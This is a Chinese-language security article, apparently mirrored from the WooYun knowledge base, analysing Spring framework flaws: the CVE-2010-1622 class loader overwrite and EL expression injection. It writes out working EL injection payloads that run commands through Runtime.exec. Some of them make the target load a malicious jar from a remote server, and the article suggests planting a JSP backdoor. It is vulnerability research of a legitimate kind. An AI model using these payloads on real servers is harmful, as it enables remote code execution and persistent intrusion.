Spring框架問題分析

wyzsk發表於2020-08-19
作者: tang3 · 2014/09/01 11:29

0x00 概述


Spring作為使用最為廣泛的Java Web框架之一,擁有大量的使用者。也由於使用者量的龐大,Spring框架成為漏洞挖掘者關注的目標,在Struts漏洞狂出的如今,Spring也許正在被醞釀一場大的危機。

本文將針對Spring歷史上曾出現的嚴重漏洞和問題,進行分析討論這套框架可能存在的問題。

0x01 變數覆蓋問題


CVE-2010-1622在Spring官方釋出的漏洞公告中,被定義為任意程式碼執行漏洞。但是,這個問題的主要問題是由於,對私有成員保護不足,而導致的變數覆蓋。從漏洞成因上來看並不能稱為程式碼執行漏洞,只能算是變數覆蓋,程式碼執行只不過是利用罷了。

Spring框架提供了一種繫結引數和物件的機制,可以把一個類繫結到一個Controller。然後在這個Contraller類中,將一個頁面繫結到特定的處理方法中,這個方法可以把頁面引數中,與物件成員對應的引數值賦予該成員。

例如:我繫結了一個User類,User類中存在一個成員name,繫結的頁面名為test.html。那麼如果我提交test.html?name=123,User類中的name便被賦予值為123。

當然這種使用方法是有前題的,就是這個成員是public或者提供set方法,否則是不能賦值的。這個漏洞就是這個限制出現了問題,導致陣列型別的成員在非public且沒有提供set方法的情況下,可以透過這種方式被賦值。我們下面來看負責這個功能實現的類對於陣列引數的處理程式碼:

else if (propValue.getClass().isArray()) { Class requiredType = propValue.getClass().getComponentType(); int arrayIndex = Integer.parseInt(key); Object oldValue = null; try { if (isExtractOldValueForEditor()) { oldValue = Array.get(propValue, arrayIndex); } Object convertedValue = this.typeConverterDelegate.convertIfNecessary( propertyName, oldValue, pv.getValue(), requiredType); Array.set(propValue, Integer.parseInt(key), convertedValue); }

可以看出上面處理陣列的程式碼中,沒有對成員是否存在set方法進行判斷。也沒有透過呼叫成員的set方法進行賦值,而是直接透過Array.set方法進行賦值,繞過set方法的這個處理機制。

在漏洞發現者的部落格上,提到了Java Bean的API Introspector. getBeanInfo 會獲取到該POJO的基類Object.class的屬性class,進一步可以獲取到Class.class的諸多屬性,包括classloader。

而Spring的org.springframework.beans.CachedIntrospectionResults.class類,正好透過這個API,遍歷使用者提交表單中有效的成員。這就意味著,結合這個漏洞,我們可以透過HTTP提交,來設定很多的私有成員,這真是太恐怖了!

下面我們來看看,如何將Spring這個特性和漏洞結合起來,進行利用。
之前我們提到了我們可以透過Java

Bean獲取到classloader物件,而classloader中有一個URLs[]成員。Spring剛好會透過Jasper中的 TldLocationsCache類(jsp平臺對jsp解析時用到的類)從WebappClassLoader裡面讀取url引數,並用來解析TLD檔案在解析TLD的時候,是允許直接使用jsp語法的,所以這就出現了遠端程式碼執行的最終效果。

好了,到這裡我們整理下思路。透過漏洞我們可以對classloader的URLs[]進行賦值操作,然後Spring會透過平臺解析,從URLs[]中提取它所需要的TLD檔案,並在執行jsp是執行這個TLD所包含的內容。

有了這個思路,利用方法也就呼之欲出了。構造一個帶有惡意TLD檔案的jar,透過HTTP將jar的地址告訴URLs[],然後坐等執行。
利用效果如圖所示:

2014082810301026119.png

0x02 EL表示式注入問題


2012年12月國外研究者DanAmodio發表《Remote Code with Expression Language Injection》一文,拉開了Spring框架EL表示式注入的序幕。

隨著表示式的愈加強大,使得原來本不應該出問題的情況,出現了一些比較嚴重的問題。而且Java Web框架一般都會有在核心程式碼使用表示式的壞習慣,Struts就是很好的例子。Spring的框架本身是不會存在程式碼執行的問題,但是隨著EL表示式的強大,逐漸成為了問題。而且EL表示式是Java Web程式預設都會使用的一種表示式,這可能會在未來一段時間內成為Java Web程式的噩夢。

我透過程式碼跟蹤定位到Spring最終執行EL表示式的程式碼:

private static Object evaluateExpression(String exprValue, Class resultClass, PageContext pageContext)
        throws ELException {

    return pageContext.getExpressionEvaluator().evaluate(
            exprValue, resultClass, pageContext.getVariableResolver(), null);
}

瞭解了Spring標籤屬性執行EL表示式的大體流程:首先透過標籤類處理相關內容,將需要執行EL表示式的標籤屬性傳入到evaluateString或者其他方法,但最終都將流入到doEvaluate方法中,經過一些處理將擷取的屬性值最為傳入到evaluateExpression方法,最後evaluateExpression方法再將傳入的屬性值作為表示式交給平臺去執行。

以上這些其實僅僅是對EL表示式注入問題分析的開始,因為真正實現執行的地方是平臺,也就是說,不同的平臺EL表示式的操作和執行也是不同的。因此,我分別針對Glassfish和Resin平臺進行了測試,目前比較流行的Tomcat平臺也進行了測試,但是由於它和Spring框架在EL表示式的實現上存在一些分歧,導致Tomcat平臺下EL表示式不可以呼叫方法。

下面我們分別來看看Glassfish和Resin平臺下,不同的利用方法。
先來看Glassfish下的利用,首先在我們另一臺伺服器上放置編譯如下程式碼的jar檔案:

public class Malicious { public Malicious() { try { java.lang.Runtime.getRuntime().exec("calc.exe"); //Win } catch (Exception e) { } } }       

然後我們透過EL表示式建立一個陣列(URLClassLoader的建構函式需要URL陣列作為引數),存放在session中,url為

http://target/file? message=${pageContext.request.getSession().setAttribute("arr","".getClass().forName("java.util.ArrayList").newInstance())}。  

下一步我們透過URI提供的create方法,可以建立一個URL例項,我們把這個例項儲存在剛剛建立的陣列中,url為

http://target/file?message= ${pageContext.request.getSession().getAttribute("arr").add(pageContext.getServletContext().getResource("/").toURI().create("http://serverip/Malicious.jar").toURL())}。  

Malicious.jar檔案就是我們之前儲存在另一臺伺服器中的jar檔案。EL表示式中的PageContext類中getClassLoader方法得到的物件的父類便是URLClassLoader,所以,我們便可以呼叫newInstance方法了,url為

http://target/file?message= ${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}。  

效果如下圖所示:

此處輸入圖片的描述

下面我們來看下在Resin環境下的利用方法,先來看個直接的演示,訪問連結:

http://localhost:8080/test.do?${pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc",null).toString()}  

效果如下圖所示:

此處輸入圖片的描述

我曾一度想要寫出像Struts那樣可以執行命令並回顯的利用程式碼,但是由於EL表示式並沒有提供變數和賦值的功能,讓我不得不去想可以有相同的效果的方法。初步的思路是,利用EL可以儲存任意型別session這個功能,對命令執行的結果流進行儲存和處理,最後轉換為字串,列印到頁面上。

我找到了列印任意內容到頁面的方法,即透過EL提供的pageContext中response物件中的println方法。例如:訪問

http://localhost:8080/test.do?a=${pageContext.response.getWriter().println('aaa')}  

會返回500錯誤,在錯誤中會顯示我們的自定義內容:

此處輸入圖片的描述

下面只要將命令執行的結果流轉換為String,輸出給println函式即可。下面是按照我之前思路,構造的利用程式碼:

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("whoami",null).getInputStream())}

${pageContext.request.getSession().setAttribute("b",pageContext.request.getClass().forName("java.io.InputStreamReader").getConstructor(pageContext.request.getClass().forName("java.io.InputStream")).newInstance(pageContext.request.getSession().getAttribute("a")))}

${pageContext.request.getSession().setAttribute("c",pageContext.request.getClass().forName("java.io.BufferedReader").newInstance(pageContext.request.getSession().getAttribute("b")))}

${pageContext.request.getSession().setAttribute("d",pageContext.request.getClass().forName("java.lang.Byte").getConstructor(pageContext.request.getClass().forName("java.lang.Integer")).newInsTance(51020))}

${pageContext.request.getSession().getAttribute("c").read(pageContext.request.getSession().getAttribute("d"))}

${pageContext.response.getWriter().println(pageContext.request.getSession().getAttribute("d"))}

首先將命令執行結果流儲存至session屬性a中;然後將a屬性的內容作為初始化InputStreamReader物件的引數,並將物件儲存至b屬性;第三步將b屬性中的內容作為引數初始化BufferedReader物件,並將物件儲存至c屬性;第四步初始化一個字元陣列,儲存至d屬性中;第五步將c中的內容透過read方法,放入到d屬性中,及轉化為字元;最後print出d屬性中內容。

但是這個思路我沒有實現的最終原因是,透過EL使用反射初始化構造方法需要引數的物件時,引數型別和方法定義的引數型別總是不匹配。我想盡了我能想到的辦法,最後還是找不到解決辦法。

後面想到的一個可行的利用方法,是利用Glassfish平臺下使用的方法,載入一個執行寫檔案到指定目錄的jar包,來生成一個jsp後門。

Spring框架中幾乎只有標籤的部分使用了EL表示式,下面我們將羅列出這些使用EL表示式的標籤。

form 中可執行 EL的標籤:

1.    AbstractDataBoundFormElementTag

2.    AbstractFormTag

3.    AbstractHtmlElementTag

4.    AbstractHtmlInputElementTag

5.    AbstractMultiCheckedElementTag

6.    AbstractSingleCheckedElementTag

7.    CheckboxTag

8.    ErrorsTag

9.    FormTag

10.  LabelTag

11.  OptionsTag

12.  OptionTag

13.  RadioButtonTag

14.  SelectTag

Spring 標準標籤庫中執行 EL 的標籤

1.    MessageTag

2.    TransformTag

3.    EscapeBodyTag

4.    setJavaScriptEscape(String)

5.    EvalTag

6.    HtmlEscapeTag

7.    HtmlEscapingAwareTag

8.    UrlTag

9.    BindErrorsTag

10.  doStartTagInternal()

11.  BindTag

12.  NestedPathTag

0x03 總結


變數覆蓋這個問題,相對於EL表示式注入來說算是個意外情況,修補之後不會有太多先關聯的問題出現。而EL表示式這個問題,就有點象Struts的Ognl,是一個持續的問題,對於它的封堵,只能是見一個補一個。畢竟攻擊者利用的就是EL提供的功能,我們總不 能因噎廢食的要求EL不可以支援方法的呼叫。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章